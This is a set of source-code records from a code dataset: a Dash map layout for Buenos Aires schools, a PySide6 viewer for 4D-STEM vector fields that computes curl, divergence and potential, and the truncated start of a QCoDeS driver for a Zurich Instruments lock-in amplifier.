dbc.Row([html.Div(\"PROTECCIÓN\", style={'text-align': 'center','font-size': '12px','color': 'black', 'font-weight': 'bold'})]),\n                dbc.Row([dbc.Col([html.Div(\"MENOR\", style={'text-align':'right','color': 'black'})], md=3),\n                       dbc.Col([color_bar], md=6),\n                       dbc.Col([html.Div(\"MAYOR\", style={'text-align': 'left','color': 'black'})], md=3),\n                    ]),  \n            ]), \n        ],\n                        \n    style={\n        'font-size': '12px',\n    }\n)\n\n\nMapa =dl.Map(\n                            id=\"mapa\",\n                            zoom=15,\n                            dragging=False,\n                            # touchZoom=False,\n                            zoomControl=False,\n                            scrollWheelZoom=False,\n                            doubleClickZoom=False,\n                            children=[\n                                \n                                dl.GeoJSON(\n                                    data=geobuf,\n                                    format='geobuf',\n                                    zoomToBounds=True,\n                                    zoomToBoundsOnClick=False,\n                                    options=dict(style=style_handle),\n                                    hoverStyle=arrow_function(dict(weight=5, dashArray='')),\n                                    hideout=dict(colorscale=colorscale, classes=classes, style=style, colorProp=VAR_PUNTAJE)\n                                ),\n                               \n                            ],\n                            className=\"min-vh-50 bg-white\"\n                        )\n\n\n\n\n\n\n\ntitulo_del_mapa_1 = html.H6(\n    \"PROVINCIA DE BUENOS AIRES\",\n    style={\n        'font-weight': 'bold',\n        'color': 'black',\n        'white-space': 'pre-line',  # Forzar el salto de línea\n    },\n    className=\"d-flex justify-content-center align-items-center\"\n)\ntitulo_del_mapa_2 = html.H6(\n    \"CONURBANO\",\n    style={\n        'font-weight': 'bold',  # Hacer que el texto sea negrita\n        'color': 'black',\n    },\n    className=\"d-flex justify-content-center align-items-center\"\n)\n\nmapa_layout = html.Div(\n    id=\"mapa-container\",\n    children=[\n        dbc.Row([\n            dbc.Row([dbc.Col([titulo_del_mapa_1], md=7), dbc.Col([titulo_del_mapa_2], md=2)]),\n            dbc.Row([dbc.Col([Mapa], md=12)]),  \n            dbc.Row([dbc.Col([html.Div()], md=3),dbc.Col([colorscale_reference], md=6),dbc.Col([html.Div()], md=3) ]),\n            ])  \n    ],\n)\n\n# Crea la tarjeta centrada\nmapa_card = dbc.Card(\n    [\n        dbc.CardBody(mapa_layout),\n    ],\n    color=\"light\", \n    class_name=\"shadow\",\n    outline=True,\n    id=\"censo-empleo\"\n)\n\n\n","repo_name":"reflejar/pis-dash","sub_path":"pages/ranking_ambiental/componentes/escuelas/mapa_escuelas.py","file_name":"mapa_escuelas.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"867727551","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n*------------------------- PageViewVectorField.py ----------------------------*\n显示矢量场数据的页面。\n\n部件内容：\n    - WidgetPlotVector 用于使用 matplotlib 显示矢量场及背景\n    - WidgetPlotBackground 用于使用 matplotlib 显示全域背景\n\n提升部件\n    - 提升类名 PageViewVectorField\n    - 头文件 bin.Widgets.PageViewVectorField\n\n作者:           胡一鸣\n创建日期:       2022年5月18日\n\nThe GUI page to view Vector Field dataset.\n\nContents:\n    - WidgetPlotVector, to view the vector fields and backgroud by matplotlib\n    - WidgetPlotBackground, to view the full-scale background by matplotlib\n\nPromoted Widget:\n    - name of widget class: PageViewVectorField\n    - header file: bin.Widgets.PageViewVectorField\n\nauthor:         Hu Yiming\ndate:           Mar 30, 2022\n*------------------------- PageViewVectorField.py ----------------------------*\n\"\"\"\n\nfrom logging import Logger\nimport os\nfrom PySide6.QtWidgets import QWidget\nfrom PySide6.QtWidgets import QMessageBox\nfrom PySide6.QtWidgets import QInputDialog\nfrom PySide6.QtWidgets import QDialog\n# from PySide6.QtWidgets import QMenu\n# from PySide6.QtCore import QPoint\nfrom matplotlib.backend_bases import MouseEvent \nfrom matplotlib.backends.backend_qtagg import (\n    FigureCanvasQTAgg as FigureCanvas)\nfrom matplotlib.figure import Figure\nfrom matplotlib.axes import Axes \nfrom matplotlib.image import AxesImage \nfrom matplotlib.quiver import Quiver\nfrom matplotlib.patches import Rectangle\nfrom matplotlib.colorbar import Colorbar, make_axes\nimport h5py \nimport numpy as np\n\nfrom bin.BlitManager import BlitManager\nfrom bin.HDFManager import HDFDataNode, HDFHandler\nfrom bin.TaskManager import TaskManager \nfrom bin.Widgets.DialogChooseItem import DialogHDFChoose\nfrom bin.Widgets.PageVirtualImage import DialogSaveImage\nfrom lib.TaskVectorFieldProcess import TaskCurl, TaskFlipVectorField\nfrom lib.TaskVectorFieldProcess import TaskDivergence\nfrom lib.TaskVectorFieldProcess import TaskPotential\nfrom lib.TaskVectorFieldProcess import TaskRotateVectorAngle\nfrom lib.TaskVectorFieldProcess import TaskSliceI\nfrom lib.TaskVectorFieldProcess import TaskSliceJ\nfrom lib.TaskVectorFieldProcess import TaskSubtractVectorOffset\nfrom ui import uiDialogCreateImage\nfrom ui import uiPageViewVectorField\nfrom ui import uiDialogAdjustQuiverEffect\nfrom ui import uiDialogVectorProcessing\n\nclass PageViewVectorField(QWidget):\n    \"\"\"\n    显示二维矢量场的部件类。使用 Quiver。\n\n    Ui 文件地址：ROOT_PATH/ui/uiPageVieweVectorField.ui\n\n    Widget to view vector fields by quiver plot.\n\n    The path of the ui file: ROOT_PATH/ui/uiPageViewVectorField.ui\n    \"\"\"\n    def __init__(self, parent: QWidget = None):\n        super().__init__(parent)\n        self.ui = uiPageViewVectorField.Ui_Form()\n        self.ui.setupUi(self)\n\n        self._data_path = ''\n        self._background_path = ''\n        self._image_ax = None \n        self._colorbar_ax = None \n        self._background_ax = None \n        self._quiver_object = None \n        self._colorbar_object = None \n        self._background_object = None\n        self._image_object = None \n        self._image_max = 0\n        self._image_min = 0\n\n        self.ui.lineEdit_vector_path.setReadOnly(True)\n        self.ui.lineEdit_background_path.setReadOnly(True)\n\n        self._initUi()\n        self._createAxes()\n\n    @property\n    def hdf_handler(self) -> HDFHandler:\n        global qApp\n        return qApp.hdf_handler \n\n    @property\n    def data_object(self) -> h5py.Dataset:\n        return self.hdf_handler.file[self._data_path]\n\n    @property\n    def data_path(self) -> str:\n        return self._data_path\n\n    @property\n    def logger(self) -> Logger:\n        global qApp \n        return qApp.logger\n\n    @property\n    def image_canvas(self) -> FigureCanvas:\n        return self.ui.widget_quiver.canvas \n\n    @property\n    def background_canvas(self) -> FigureCanvas:\n        return self.ui.widget_background.canvas\n\n    @property\n    def image_figure(self) -> Figure:\n        return self.ui.widget_quiver.figure \n\n    @property\n    def background_figure(self) -> Figure:\n        return self.ui.widget_background.figure \n\n    @property\n    def image_ax(self) -> Axes:\n        return self._image_ax \n\n    @property\n    def background_ax(self) -> Axes:\n        return self._background_ax\n\n    @property\n    def colorbar_ax(self) -> Axes:\n        return self._colorbar_ax \n\n    @property\n    def image_object(self) -> AxesImage:\n        return self._image_object\n\n    @property\n    def quiver_object(self) -> Quiver:\n        return self._quiver_object\n\n    @property\n    def colorbar_object(self) -> Colorbar:\n        return self._colorbar_object\n\n    @property\n    def background_object(self) -> AxesImage:\n        return self._background_object\n\n    @property\n    def background_path(self) -> str:\n        return self._background_path\n\n    @property\n    def image_blit_manager(self) -> BlitManager:\n        return self.ui.widget_quiver.blit_manager\n\n    @property\n    def background_blit_manager(self) -> BlitManager:\n        return self.ui.widget_background.blit_manager\n\n    @property\n    def background_visible(self) -> bool:\n        return self.ui.checkBox_background_visible.isChecked()\n\n    @property\n    def task_manager(self) -> TaskManager:\n        global qApp \n        return qApp.task_manager\n\n    def setVectorField(self, data_path: str):\n        \"\"\"\n        Set the data path in HDF5 file, to show the vector field.\n\n        Will set the data_path attribute. The vector field must be a 3D matrix.\n\n        arguments:\n            data_path: (str) the path of the vector field data.\n\n        raises:\n            TypeError, KeyError, ValueError\n        \"\"\"\n        if not isinstance(data_path, str):\n            raise TypeError('data_path must be a str, not '\n                '{0}'.format(type(data_path).__name__))\n\n        img_node = self.hdf_handler.getNode(data_path)  \n        # May raise KeyError if the path does not exist\n        if not isinstance(img_node, HDFDataNode):\n            raise ValueError('Item {0} must be a Dataset'.format(data_path))\n\n        data_obj = self.hdf_handler.file[data_path]\n        if not len(data_obj.shape) == 3:\n            raise ValueError('Data must be a 3D matrix (2, i, j)')\n\n        self._data_path = data_path\n        self.ui.lineEdit_vector_path.setText(self.data_path)\n        self.setWindowTitle('{0} - Vector'.format(img_node.name))\n\n        # We must first render the background image, in order not to \n        # cover the vector field.\n        if 'background_path' in self.data_object.attrs:\n            background_path = self.data_object.attrs['background_path']\n            try:\n                self.setBackground(background_path)\n            except (KeyError, ValueError, TypeError):\n                new_background_path = self._createNewBackground()\n                self.setBackground(new_background_path)\n        else:\n            new_background_path = self._createNewBackground()\n            self.setBackground(new_background_path)\n\n        self._createQuiver()\n        \n        self.image_canvas.draw()\n        self.image_canvas.flush_events()\n\n        self.ui.widget_quiver.setProcessingActionItemPath(self.data_path)\n        \n\n\n    def _createAxes(self):\n        \"\"\"\n        Create the axes that contains the quiver, colorbar and the background\n        respectively.\n        \"\"\"\n        if self._image_ax is None:\n            self._image_ax = self.image_figure.add_subplot()\n            self.image_blit_manager.addArtist('image_axes', self._image_ax)\n        \n        if self._background_ax is None:\n            self._background_ax = self.background_figure.add_subplot()\n            self.background_blit_manager.addArtist(\n                'background_axes', \n                self._background_ax,\n            )\n\n        if self._colorbar_ax is None:\n            self._colorbar_ax, _kw = make_axes(\n                self.background_ax,\n                location = 'right',\n                orientation = 'vertical',\n            )\n            self._colorbar_ax.xaxis.set_visible(False)\n            self._colorbar_ax.yaxis.tick_right()\n\n            self.background_blit_manager['colorbar_axes'] = self._colorbar_ax\n\n    def _createQuiver(self):\n        \"\"\"\n        Read the vector field and its attributes, and show it.\n\n        TODO: read and save attributes, like length unit.\n        \"\"\"\n        if self._quiver_object in self.image_ax.collections:\n            _index = self.image_ax.collections.index(self._quiver_object)\n            self.image_ax.collections.pop(_index)\n\n        _, height, width = self.data_object.shape \n        array_i = np.linspace(0, height - 1, height)\n        array_j = np.linspace(0, width - 1, width)\n        coord_i, coord_j = np.meshgrid(array_i, array_j, indexing = 'ij')\n        vec_i, vec_j = self.data_object\n\n        if 'quiver_scale' in self.data_object.attrs:\n            quiver_scale = self.data_object.attrs['quiver_scale']\n        else:\n            self.data_object.attrs['quiver_scale'] = 1\n            quiver_scale = 1\n        \n        if 'quiver_width' in self.data_object.attrs:\n            quiver_width = self.data_object.attrs['quiver_width']\n        else:\n            self.data_object.attrs['quiver_width'] = 0.15\n            quiver_width = 0.15\n        \n        if 'quiver_color' in self.data_object.attrs:\n            quiver_color = self.data_object.attrs['quiver_color']\n        else:\n            self.data_object.attrs['quiver_color'] = 'black'\n            quiver_color = 'black'\n\n        X, Y = coord_j, coord_i \n        U, V = vec_j, vec_i \n\n        self._quiver_object = self.image_ax.quiver(\n            X, Y, U, V,\n            units = 'xy',\n            scale = quiver_scale,\n            width = quiver_width,\n            angles = 'xy',\n            pivot = 'mid',\n            color = quiver_color,\n        )\n\n        self.image_blit_manager['quiver'] = self._quiver_object\n        \n\n    def setBackground(self, background_path: str):\n        \"\"\"\n        Set the background path in HDF5 file, to show the background image.\n\n        Will set the background_path attribute. The background image must be\n        a 2D matrix, RGB images (3 channels) are not supported here.\n\n        The background image's shape must be equal to one of the channel of\n        the vector field. For example, if the shape of the vector field is \n            2 x 256 x 256\n        the shape of the background image must be 256 x 256 then.\n\n        arguments:\n            background_path: (str) the path of the image or data.\n\n        raises:\n            TypeError, KeyError, ValueError\n        \"\"\"\n        if not isinstance(background_path, str):\n            raise TypeError('background_path must be a str, not '\n                '{0}'.format(type(background_path).__name__))\n\n        background_node = self.hdf_handler.getNode(background_path)\n        # May raise KeyError if the path does not exist\n        if not isinstance(background_node, HDFDataNode):\n            raise ValueError('Item {0} must be a '\n                'Dataset'.format(background_path))\n        \n        background_data_obj = self.hdf_handler.file[background_path]\n        if not len(background_data_obj.shape) == 2:\n            raise ValueError('Data must be a 2D matrix (single channel image)')\n\n        if self.data_path == '':\n            raise ValueError('Must set vector field before set background')\n        _, height, width = self.data_object.shape \n        if (background_data_obj.shape[0] != height \n                or background_data_obj.shape[1] != width):\n            raise ValueError('The background image\\'s shape must be equal to'\n                ' one of the channel of the vector field.')\n        \n        self._background_path = background_path\n        self.ui.lineEdit_background_path.setText(self.background_path)\n        self.data_object.attrs['background_path'] = background_path\n\n        self._createBackgroundImage()\n        self._createColorbar()\n        \n        self.background_canvas.draw()\n        self.background_canvas.flush_events()\n        self.image_canvas.draw()\n        self.image_canvas.flush_events()\n\n    def _createBackgroundImage(self):\n        \"\"\"\n        Create the axes and images of the background images.\n\n        TODO: read and save attributes, like norm, cmap, alpha, etc.\n        \"\"\"\n        if self._background_object in self.background_ax.images:\n            # clear current objects in the axes\n            _index = self.background_ax.images.index(self._background_object)\n            self.background_ax.images.pop(_index)\n\n        self._background_object = self.background_ax.imshow(\n            self.hdf_handler.file[self.background_path]\n        )\n        self.background_blit_manager['background_image'] = self._background_object\n\n        if self._image_object in self.image_ax.images:\n            # clear current objects in the axes\n            _index = self.image_ax.images.index(self._image_object)\n            self.image_ax.images.pop(_index)\n        \n        self._image_object = self.image_ax.imshow(\n            self.hdf_handler.file[self.background_path],\n            interpolation = 'hermite',\n        )\n        self._image_object.set_visible(self.background_visible)\n        self.image_blit_manager['image'] = self._image_object \n\n\n    def _createColorbar(self):\n        \"\"\"\n        Create the colorbar according to the background image.\n        \"\"\"\n        if self._colorbar_object is None:\n            self._colorbar_object = Colorbar(\n                ax = self.colorbar_ax,\n                mappable = self.background_object\n            )\n        else:\n            self.colorbar_object.update_normal(self.background_object)\n\n    def _initUi(self):\n        \"\"\"\n        Initialize UI.\n        \"\"\"\n        self.ui.checkBox_background_visible.setChecked(False)\n        self.ui.checkBox_background_visible.stateChanged.connect(\n            self._setImageVisible\n        )\n    \n        self.ui.pushButton_browse.clicked.connect(\n            self._browse\n        )\n        self.ui.pushButton_browse_background.clicked.connect(\n            self._browseBackground\n        )\n        # self.ui.pushButton_vector_processing.clicked.connect(\n        #     self._vectorProcessing\n        # )\n        self.ui.pushButton_adjust_effects.clicked.connect(\n            self._adjustEffects\n        )\n\n        self.ui.pushButton_show_color_wheel.setVisible(False)   # TODO\n        self.ui.pushButton_show_color_wheel.setVisible(False)   # TODO\n\n    def _adjustEffects(self):\n        \"\"\"\n        Open a dialog to adjust quiver display effects.\n        \"\"\"\n        dialog = DialogAdjustQuiverEffect(self)\n        dialog.setVectorField(self.data_path)\n        dialog_code = dialog.exec()\n        if dialog_code == DialogAdjustQuiverEffect.Rejected:\n            return \n\n        self.data_object.attrs['quiver_scale'] = dialog.getScale()\n        self.data_object.attrs['quiver_width'] = dialog.getWidth()\n        self.data_object.attrs['quiver_color'] = dialog.getColor()\n        \n        self.setVectorField(self.data_path)\n\n\n    def _browse(self):\n        \"\"\"\n        Open a dialog to browse which vector field to be opened.\n        \"\"\"\n        dialog = DialogHDFChoose(self)\n        dialog_code = dialog.exec()\n        if dialog_code == dialog.Accepted:\n            current_path = dialog.getCurrentPath()\n        else:\n            return \n\n        try:\n            self.setVectorField(current_path)\n        except (KeyError, ValueError, TypeError,) as e:\n            self.logger.error('{0}'.format(e), exc_info = True)\n            msg = QMessageBox(parent = self)\n            msg.setWindowTitle('Warning')\n            msg.setIcon(QMessageBox.Warning)\n            msg.setStandardButtons(QMessageBox.Ok)\n            msg.setText('Cannot open this data: {0}'.format(e))\n            msg.exec()\n\n    def _browseBackground(self):\n        \"\"\"\n        Open a dialog to browse which image to be opened as the background.\n        \"\"\"\n        dialog = DialogHDFChoose(self)\n        dialog_code = dialog.exec()\n        if dialog_code == dialog.Accepted:\n            current_path = dialog.getCurrentPath()\n        else:\n            return \n\n        try:\n            self.setBackground(current_path)\n        except (KeyError, ValueError, TypeError,) as e:\n            self.logger.error('{0}'.format(e), exc_info = True)\n            msg = QMessageBox(parent = self)\n            msg.setWindowTitle('Warning')\n            msg.setIcon(QMessageBox.Warning)\n            msg.setStandardButtons(QMessageBox.Ok)\n            msg.setText('Cannot open this data: {0}'.format(e))\n            msg.exec()\n\n    def _setImageVisible(self):\n        \"\"\"\n        Set whether the background image to be visible or not. \n        \"\"\"\n        self.image_object.set_visible(self.background_visible)\n        self.image_blit_manager.update()\n\n    def _createNewBackground(self):\n        \"\"\"\n        Create a new background image.\n\n        In default, it will be /.../[vector name]_bkgrd.img . If there has been\n        a background at this path, try to use it. Otherwise, add an index and \n        try again: /.../[vector name]_bkgrd_1.img . The new path will be under\n        the same group as the vector field.\n\n        Users can calculate a new background and reset it themselves. \n\n        returns:\n            (str) the path of the new background image.\n        \"\"\"\n        \n        # Get a valid new name of the new background image\n        data_node = self.hdf_handler.getNode(self.data_path)\n        if '.' in data_node.name:\n            name_array = data_node.name.split('.')\n            name_array.pop()\n            original_name = '.'.join(name_array)\n        else:\n            original_name = data_node.name \n\n        bkgrd_name = original_name + '_bkgrd.img'\n        _count = 0\n        while bkgrd_name in data_node.parent:\n            _count += 1\n            bkgrd_name = original_name + '_bkgrd_{0}.img'.format(_count)\n        \n        # Get the shape of the new background image\n        _, height, width = self.data_object.shape \n        \n        self.hdf_handler.addNewData( \n            parent_path = data_node.parent.path, \n            name = bkgrd_name, \n            shape = (height, width), \n            dtype = 'float64',\n        )\n\n        # Get the path of the new background image\n        if data_node.parent.path == '/':\n            bkgrd_path = '/' + bkgrd_name \n        else:\n            bkgrd_path = data_node.parent.path + '/' + bkgrd_name\n\n        self.data_object.attrs['background_path'] = bkgrd_path\n\n        return bkgrd_path\n        \n\n    def _vectorProcessing(self):\n        \"\"\"\n        Open a dialog to show vector processing methods.\n\n        Including change angles, subtracting mean vector, and calculate curl, \n        divergence, potential, ...\n        \"\"\"\n        dialog = DialogVectorProcessing(self)\n        dialog_code = dialog.exec()\n        if not dialog_code == dialog.Accepted:\n            return \n        result = dialog.getResult()\n        if result == 'rotate':\n            self._vectorRotateAngle()\n        if result == 'subtract':\n            self._vectorSubtract()\n        if result == 'flip':\n            self._vectorFlip()\n        if result == 'potential':\n            self._vectorPotential()\n        if result == 'divergence':\n            self._vectorDivergence()\n        if result == 'curl':\n            self._vectorCurl()\n        if result == 'vec_i':\n            self._vectorSliceI()\n        if result == 'vec_j':\n            self._vectorSliceJ()\n\n\n    def _vectorRotateAngle(self):\n        \"\"\"\n        Rotate every vector an angle.\n\n        In practical experiment, there may exist some angular shift between \n        the scanning array and the pixelized camera, but we usually cannot \n        be aware of this by pure 4D-STEM dataset. Fortunately, we know that\n        some vector fields (like Electric field) keeps non-curl, so we use \n        this property to get correct vector fields.\n        \"\"\"\n        angle, is_accepted = QInputDialog.getDouble(\n            self,\n            'Input rotation angle',\n            'Here input a rotation angle of every vector. Unit: degree',\n            0,\n            minValue = -360,\n            maxValue = 360,\n            decimals = 1,\n            step = 1,\n        )\n\n        if not is_accepted:\n            return \n        \n        dialog_save = DialogSaveVectorField(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n        \n        self.task = TaskRotateVectorAngle(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            angle = angle,\n            parent = self,\n            **meta,\n        )\n        \n        self.task_manager.addTask(self.task)\n\n    def _vectorSubtract(self):\n        \"\"\"\n        Subtract every vector by their mean vector.\n\n        In practical experiment, there may exist some shift between the center\n        of the diffraction pattern and the origin of the diffraction plane. In \n        this case, the calculated center of mass will have an global offset. \n        Here this function will be able to recover the fine architecture of the\n        vector field, by set the vector offset to be zero.\n        \"\"\"\n        dialog_save = DialogSaveVectorField(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskSubtractVectorOffset(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n    def _vectorFlip(self):\n        \"\"\"\n        Exchange every vector's i, j components.\n\n        In practical experiment, the coordinate of the diffraction plane may \n        differ from the convention of 4D-Explorer. For example, both typical \n        i-j indexing and x-y coordinates are right-handed system:\n\n            ┌------------> j        ^y\n            |                       |\n            |                       |\n            |                       |\n            |                       |\n            v                       |\n            i                       └----------------> x\n\n\n        However, in some conventions, the coordinate is left-handed:\n\n            ┌------------> x       \n            |                       \n            |                      \n            |                       \n            |                       \n            v                       \n            y\n\n        In this case, the calculated vector field's components should be \n        exchanged in order to reveal correct electromagnetic field.   \n        \"\"\"\n        dialog_save = DialogSaveVectorField(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskFlipVectorField(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n\n    def _vectorPotential(self):\n        \"\"\"\n        Calculate potential for the vector field.\n\n        The vector field should be a non-curl field, otherwise the result is \n        invalid in physics.\n        \"\"\"\n        dialog_save = DialogSaveImage(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskPotential(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n    def _vectorDivergence(self):\n        \"\"\"\n        Calculate divergence for the vector field.\n        \"\"\"\n        dialog_save = DialogSaveImage(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskDivergence(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n    def _vectorCurl(self):\n        \"\"\"\n        Calculate curl for the vector field.\n        \"\"\"\n        dialog_save = DialogSaveImage(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskCurl(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n    def _vectorSliceI(self):\n        \"\"\"\n        Slice i-component for the vector field.\n        \"\"\"\n        dialog_save = DialogSaveImage(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskSliceI(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n    def _vectorSliceJ(self):\n        \"\"\"\n        Slice j-component for the vector field.\n        \"\"\"\n        dialog_save = DialogSaveImage(self)\n        dialog_save.setParentPath(self.data_path)\n        dialog_code = dialog_save.exec()\n        if not dialog_code == dialog_save.Accepted:\n            return \n        image_name = dialog_save.getNewName()\n        image_parent_path = dialog_save.getParentPath()\n        meta = self.data_object.attrs \n\n        self.task = TaskSliceJ(\n            self.data_path,\n            image_parent_path,\n            image_name,\n            parent = self,\n            **meta,\n        )\n        self.task_manager.addTask(self.task)\n\n\nclass DialogSaveVectorField(DialogSaveImage):\n    \"\"\"\n    选择在 HDF 文件中保存矢量场的路径。\n\n    Dialog to choose where to save the reconstructed image in the HDF file.\n    \"\"\"\n    def __init__(self, parent: QWidget = None):\n        super().__init__(parent)\n    \n    def getNewName(self) -> str:\n        \"\"\"\n        returns the new name of the imported dataset.\n\n        Will add '.img' automatically as the extension.\n        \"\"\"\n        name = self.ui.lineEdit_name.text()\n        if '.' in name:\n            if name.split('.')[-1] == 'vec':\n                return name \n        return name + '.vec'\n\n\nclass DialogAdjustQuiverEffect(QDialog):\n    \"\"\"\n    用于调整矢量场箭头图的效果的对话框。\n\n    Dialog to adjust quiver display effect.\n    \"\"\"\n    def __init__(self, parent: QWidget = None):\n        super().__init__(parent)\n        self.ui = uiDialogAdjustQuiverEffect.Ui_Dialog()\n        self.ui.setupUi(self)\n        self._item_path = None \n        self._colors = {\n            'blue': 0,\n            'cyan': 1,\n            'green': 2,\n            'black': 3,\n            'magenta': 4,\n            'red': 5,\n            'white': 6,\n            'yellow': 7,\n        }\n        self.ui.doubleSpinBox_scale.setMaximum(1e9)\n        self.ui.doubleSpinBox_scale.setMinimum(0.01)\n        self.ui.doubleSpinBox_scale.setValue(1)\n        self.ui.doubleSpinBox_width.setMinimum(0.01)\n        self.ui.doubleSpinBox_width.setValue(0.15)\n        self.ui.comboBox_color.setCurrentIndex(3)\n\n        self.ui.pushButton_cancel.clicked.connect(self.reject)\n        self.ui.pushButton_ok.clicked.connect(self.accept)\n    \n    @property\n    def hdf_handler(self) -> HDFHandler:\n        global qApp\n        return qApp.hdf_handler\n\n    @property \n    def data_object(self) -> h5py.Dataset:\n        return self.hdf_handler.file[self._item_path]\n\n    @property\n    def data_scale(self) -> float:\n        return self.data_object.attrs['quiver_scale']\n\n    @property\n    def data_width(self) -> float:\n        return self.data_object.attrs['quiver_width']\n\n    @property \n    def data_color(self) -> str:\n        return self.data_object.attrs['quiver_color']\n\n    def setVectorField(self, item_path: str):\n        \"\"\"\n        arguments:\n            item_path: (str) the vector field's path in hdf5 file.\n        \"\"\"\n        self._item_path = item_path\n         \n        self.ui.doubleSpinBox_scale.setValue(self.data_scale)\n        self.ui.doubleSpinBox_width.setValue(self.data_width)\n        self.ui.comboBox_color.setCurrentIndex(\n            self._colors[self.data_color]\n        )\n\n    def getScale(self) -> float:\n        return self.ui.doubleSpinBox_scale.value()\n\n    def getWidth(self) -> float:\n        return self.ui.doubleSpinBox_width.value()\n\n    def getColor(self) -> str:\n        return self.ui.comboBox_color.currentText()\n\n    \nclass DialogVectorProcessing(QDialog):\n    \"\"\"\n    用于计算 Vector Field 相关操作的对话框。\n\n    Dialog to calculate some processings for vector fields.\n    \"\"\"\n    def __init__(self, parent: QWidget):\n        super().__init__(parent)\n        self.ui = uiDialogVectorProcessing.Ui_Dialog()\n        self.ui.setupUi(self)\n        self.ui.pushButton_rotate_vector_angle.clicked.connect(\n            self._rotate_vector_angle\n        )\n        self.ui.pushButton_subtract_mean_vector.clicked.connect(\n            self._subtract_mean_vector\n        )\n        self.ui.pushButton_flip.clicked.connect(\n            self._flip\n        )\n        self.ui.pushButton_calculate_curl.clicked.connect(\n            self._calculate_curl\n        )\n        self.ui.pushButton_calculate_divergence.clicked.connect(\n            self._calculate_divergence\n        )\n        self.ui.pushButton_calculate_potential.clicked.connect(\n            self._calculate_potential\n        )\n        self.ui.pushButton_vec_i.clicked.connect(\n            self._slice_vec_i\n        )\n        self.ui.pushButton_vec_j.clicked.connect(\n            self._slice_vec_j\n        )\n\n    def getResult(self):\n        return self._result\n\n    def _rotate_vector_angle(self):\n        self._result = 'rotate'\n        self.accept()\n\n    def _subtract_mean_vector(self):\n        self._result = 'subtract'\n        self.accept()\n\n    def _calculate_curl(self):\n        self._result = 'curl'\n        self.accept()\n\n    def _calculate_divergence(self):\n        self._result = 'divergence'\n        self.accept()\n\n    def _calculate_potential(self):\n        self._result = 'potential'\n        self.accept()\n\n    def _slice_vec_i(self):\n        self._result = 'vec_i'\n        self.accept()\n\n    def _slice_vec_j(self):\n        self._result = 'vec_j'\n        self.accept()\n\n    def _flip(self):\n        self._result = 'flip'\n        self.accept()\n\n# if 'quiver_scale' in self.data_object.attrs:\n#             quiver_scale = self.data_object.attrs['quiver_scale']\n#         else:\n#             self.data_object.attrs['quiver_scale'] = 1\n#             quiver_scale = 1\n        \n#         if 'quiver_width' in self.data_object.attrs:\n#             quiver_width = self.data_object.attrs['quiver_width']\n#         else:\n#             self.data_object.attrs['quiver_width'] = 0.15\n#             quiver_width = 0.15\n        \n#         if 'quiver_color' in self.data_object.attrs:","repo_name":"ManifoldsHu/FourDExplorer","sub_path":"FourDExplorer/bin/Widgets/PageViewVectorField.py","file_name":"PageViewVectorField.py","file_ext":"py","file_size_in_byte":32499,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"}
{"seq_id":"13001696131","text":"from typing import Dict, List, Optional, Sequence, Any, Union\nimport numpy as np\nimport logging\nlog = logging.getLogger(__name__)\n\nimport zhinst.utils\nimport qcodes as qc\nfrom qcodes.instrument.base import Instrument\nimport qcodes.utils.validators as vals\n\nclass HF2LI(Instrument):\n    \"\"\"Qcodes driver for Zurich Instruments HF2LI lockin amplifier.\n\n    This driver is meant to emulate a single-channel lockin amplifier,\n    so one instance has a single demodulator, a single sigout channel,\n    and multiple auxout channels (for X, Y, R, Theta, or an arbitrary manual value).\n    Multiple instances can be run simultaneously as independent lockin amplifiers.\n\n    This instrument has a great deal of additional functionality that is\n    not currently supported by this driver.\n\n    Args:\n        name: Name of instrument.\n        device: Device name, e.g. \"dev204\", used to create zhinst API session.\n        demod: Index of the demodulator to use.\n        sigout: Index of the sigout channel to use as excitation source.\n        auxouts: Dict of the form {output: index},\n            where output is a key of 